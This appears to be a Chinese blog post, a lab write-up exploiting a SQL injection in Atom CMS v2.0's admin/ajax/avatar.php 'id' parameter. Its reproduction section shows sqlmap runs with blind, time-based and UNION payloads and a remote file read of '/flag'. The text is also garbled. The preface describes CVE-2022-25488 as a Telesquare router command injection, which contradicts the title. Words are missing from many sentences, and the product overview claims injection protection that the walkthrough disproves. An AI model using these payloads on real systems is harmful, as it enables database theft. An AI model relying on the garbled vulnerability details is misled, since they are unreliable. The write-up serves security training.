Atom CMS v2.0 SQL 注入(CVE-2022-25488)

本文涉及的产品
云数据库 RDS MySQL,集群版 2核4GB 100GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: Atom CMS v2.0 SQL 注入(CVE-2022-25488)

前言

CVE-2022-25488 是一个发现于 Telesquare SDT-CW3B1 设备中的命令注入。这一可以被未经认证的远程利用,通过特殊构造的 HTTP 请求在设备上执行任意命令。以下是关于该的详细信息:

详细信息

编号: CVE-2022-25488

影响范围: Telesquare SDT-CW3B1 设备的特定版本

描述: 该是由于输入处理不当造成的,可以通过在 HTTP 请求中注入恶意命令来利用这一。这些命令将在设备的操作系统中执行,可能导致设备完全被控制。

向量: 远程,未经认证的可以通过网络利用此。

攻击步骤

发送恶意 HTTP 请求: 构造一个特定的 HTTP 请求,包含恶意命令。

命令注入: 由于设备在处理请求时未正确验证输入,恶意命令被注入并在设备上执行。

控制设备: 成功利用后,可以在设备上执行任意命令,可能导致数据泄露、设备中断或进一步的网络。

影响

机密性: 高。可以访问和泄露设备上的敏感数据。

完整性: 高。可以修改或破坏设备上的数据。

可用性: 高。可以使设备无法正常工作。

缓解措施

固件更新: 制造商发布补丁或固件更新以修复此。用户应及时更新设备固件。

网络安全措施: 在网络边界实施防火墙和入侵检测系统,监控和阻止可疑的网络流量。

输入验证: 开发人员应确保在处理用户输入时进行严格的验证和过滤,防止命令注入。

最小权限原则: 设备应配置为仅允许必要的权限,减少被利用的风险。

总结

CVE-2022-25488 是一个严重的命令注入,攻击者可以通过网络远程利用该,在受影响的 Telesquare SDT-CW3B1 设备上执行任意命令。用户应尽快采取措施,更新设备固件并实施必要的安全防护措施,以防止潜在的。

春秋云镜是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:


实战演练:


提供各种网络安全攻防演练场景,模拟真实的网络事件,帮助用户在实际操作中掌握网络安全技术。

场景涵盖Web安全、系统安全、网络安全、社工等多个领域。


复现:


用户可以通过平台对已知的安全进行复现,了解的产生原因、利用方法和修复措施。

通过实战操作,帮助用户掌握利用和防护的技能。


教学培训:


提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。

包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。


竞赛与评测:


定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。


资源共享:


平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。

用户可以在社区中分享经验和资源,互相交流和学习。


春秋云镜适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。


介绍

Atom CMS v2.0 是一款内容管理系统,用于创建和管理网站内容。以下是关于 Atom CMS v2.0 的详细介绍:

概述

Atom CMS v2.0 是一个开源的内容管理系统,采用 PHP 和 MySQL 构建,旨在提供一个简单易用的平台,用于网站内容的创建、编辑和管理。该系统主要面向小型网站和博客,提供了丰富的功能以满足基本的内容管理需求。

主要功能

  1. 用户管理
  • 支持用户注册和登录。
  • 角色和权限管理,区分管理员和普通用户。
  • 用户资料编辑和密码管理。
  1. 文章管理
  • 创建、编辑和删除文章。
  • 支持文章分类和标签。
  • 支持富文本编辑器,便于格式化内容。
  1. 媒体管理
  • 上传和管理图片、视频等多媒体文件。
  • 支持媒体文件的插入和删除。
  1. 评论系统
  • 用户可以对文章进行评论。
  • 管理员可以审核和删除不当评论。
  1. SEO 优化
  • 自定义文章的标题、描述和关键词。
  • 自动生成友好的 URL。
  1. 主题和插件
  • 支持自定义主题,用户可以根据需要更改网站的外观。
  • 支持插件扩展功能,增加系统的灵活性。

安全特性

  • 输入验证:对用户输入进行严格验证,防止 SQL 注入和跨站脚本(XSS)。
  • 密码加密:用户密码采用加密存储,提高账户安全性。
  • 权限控制:细粒度的权限控制,确保用户只能访问授权的资源。

使用场景

  • 个人博客:适合个人博客的创建和管理,提供基本的文章发布和评论功能。
  • 小型企业网站:适合小型企业展示产品和服务,提供简单的内容管理功能。
  • 教育网站:适合教育机构发布课程信息和新闻公告。

安装和配置

  1. 下载源码:从官方网站或 GitHub 下载最新版本的 Atom CMS v2.0 源码。
  2. 环境配置:确保服务器环境支持 PHP 和 MySQL,推荐使用 Apache 或 Nginx 服务器。
  3. 数据库配置:创建 MySQL 数据库,并导入初始数据表。
  4. 配置文件:修改配置文件,设置数据库连接信息和基本站点信息。
  5. 安装向导:通过浏览器访问安装向导,完成系统安装。

复现

打开

直接访问则是 404

跟上题目的路径查看却是空白

删除 avatar.php 文件发现能看到整个目录

查看其他文件得到报错信息

得到一个参数 id,使用 SQLMap 跟上试试

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1"
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 20:34:46 /2024-06-30/
[20:34:47] [INFO] testing connection to the target URL
[20:34:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:34:47] [INFO] testing if the target URL content is stable
[20:34:47] [INFO] target URL content is stable
[20:34:47] [INFO] testing if GET parameter 'id' is dynamic
[20:34:47] [INFO] GET parameter 'id' appears to be dynamic
[20:34:47] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[20:34:47] [INFO] testing for SQL injection on GET parameter 'id'
[20:34:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:34:48] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[20:34:49] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[20:34:52] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:34:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[20:34:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[20:34:52] [INFO] testing 'Generic inline queries'
[20:34:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:34:53] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[20:34:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:35:03] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[20:35:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:35:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:35:03] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:35:03] [INFO] target URL appears to have 1 column in query
[20:35:03] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 4748=4748
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:35:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:35:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'
[*] ending @ 20:35:05 /2024-06-30/

很好,接下来就是熟悉的找 flag 了

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1" -D "mysql" --file-read "/flag"
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 20:39:30 /2024-06-30/
 
[20:39:30] [INFO] resuming back-end DBMS 'mysql' 
[20:39:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 4748=4748
 
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)
 
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:39:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:39:30] [INFO] fingerprinting the back-end DBMS operating system
[20:39:30] [INFO] the back-end DBMS operating system is Linux
[20:39:30] [INFO] fetching file: '/flag'
do you want confirmation that the remote file '/flag' has been successfully downloaded from the back-end DBMS file system? [Y/n] n
files saved to [1]:
[*] /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag
 
[20:39:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'
 
[*] ending @ 20:39:32 /2024-06-30/
 
                                                                                                                                    
┌──(root㉿kali)-[~]
└─# cat /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag
flag{810e4de0-b64a-4124-bddf-3554d6e60d15}          

相关实践学习
基于ACK Serverless轻松部署企业级Stable Diffusion
本实验指导您在容器服务Serverless版(以下简称 ACK Serverless )中,通过Knative部署满足企业级弹性需求的Stable Diffusion服务。同时通过对该服务进行压测实验,体验ACK Serverless 弹性能力。
深入解析Docker容器化技术
Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。Docker是世界领先的软件容器平台。开发人员利用Docker可以消除协作编码时“在我的机器上可正常工作”的问题。运维人员利用Docker可以在隔离容器中并行运行和管理应用,获得更好的计算密度。企业利用Docker可以构建敏捷的软件交付管道,以更快的速度、更高的安全性和可靠的信誉为Linux和Windows Server应用发布新功能。 在本套课程中,我们将全面的讲解Docker技术栈,从环境安装到容器、镜像操作以及生产环境如何部署开发的微服务应用。本课程由黑马程序员提供。     相关的阿里云产品:容器服务 ACK 容器服务 Kubernetes 版(简称 ACK)提供高性能可伸缩的容器应用管理能力,支持企业级容器化应用的全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳容器化应用运行环境。 了解产品详情: https://www.aliyun.com/product/kubernetes
相关文章
|
24天前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
48 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
25天前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【7月更文挑战第25天】在Python Web开发中确保应用安全至关重要。以下是针对SQL注入、XSS与CSRF攻击的防护策略及示例代码
43 6
|
25天前
|
SQL 安全 数据库
|
23天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
【7月更文挑战第27天】在 Web 开发中,Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
45 0
|
24天前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
【7月更文挑战第26天】在 Web 开发中, SQL 注入与 XSS 攻击常令人担忧, 但掌握正确防御策略可化解风险. 对抗 SQL 注入的核心是避免直接拼接用户输入至 SQL 语句. 使用 Python 的参数化查询 (如 sqlite3 库) 和 ORM 框架 (如 Django, SQLAlchemy) 可有效防范. 防范 XSS 攻击需严格过滤及转义用户输入. 利用 Django 模板引擎自动转义功能, 或手动转义及设置内容安全策略 (CSP) 来增强防护. 掌握这些技巧, 让你在 Python Web 开发中更加安心. 安全是个持续学习的过程, 不断提升才能有效保护应用.
35 1
|
24天前
|
SQL 安全 前端开发
Web安全新纪元:Python如何筑起SQL注入、XSS、CSRF的铜墙铁壁?
【7月更文挑战第26天】在Web开发中,安全性至关重要。Python提供强大工具来抵御SQL注入、XSS和CSRF等威胁。使用ORM如Django和SQLAlchemy可防SQL注入; Django等框架自动转义输出防XSS; CSRF通过自动及手动验证令牌来阻止。开发者须持续学习最新安全实践以保护用户数据。迈向Web安全新纪元,Python助你一臂之力。
26 1
|
23天前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
【7月更文挑战第27天】在 Python Web 开发中, 安全至关重要。
36 0
|
23天前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【7月更文挑战第27天】在 Web 开发中,安全漏洞如同暗礁,其中 SQL 注入、XSS 和 CSRF 尤为棘手。本文通过实战案例展示如何使用 Python 抵御这些威胁。
43 0
|
23天前
|
SQL 安全 数据库
守护Web世界的和平使者:Python Web安全基础,从认识SQL注入、XSS、CSRF开始!
【7月更文挑战第27天】在数字世界里,Web应用如星辰照亮信息交流,但也潜藏安全隐患:SQL注入、XSS与CSRF。SQL注入让攻击者操控数据库;通过参数化查询可防御。XSS允许执行恶意脚本;确保输出编码至关重要。CSRF诱骗用户发送恶意请求;使用CSRF令牌能有效防护。作为开发者,掌握Python Web安全基础,如Flask和Django的安全特性,能帮助我们守护这片数字天地的和平与繁荣。
25 0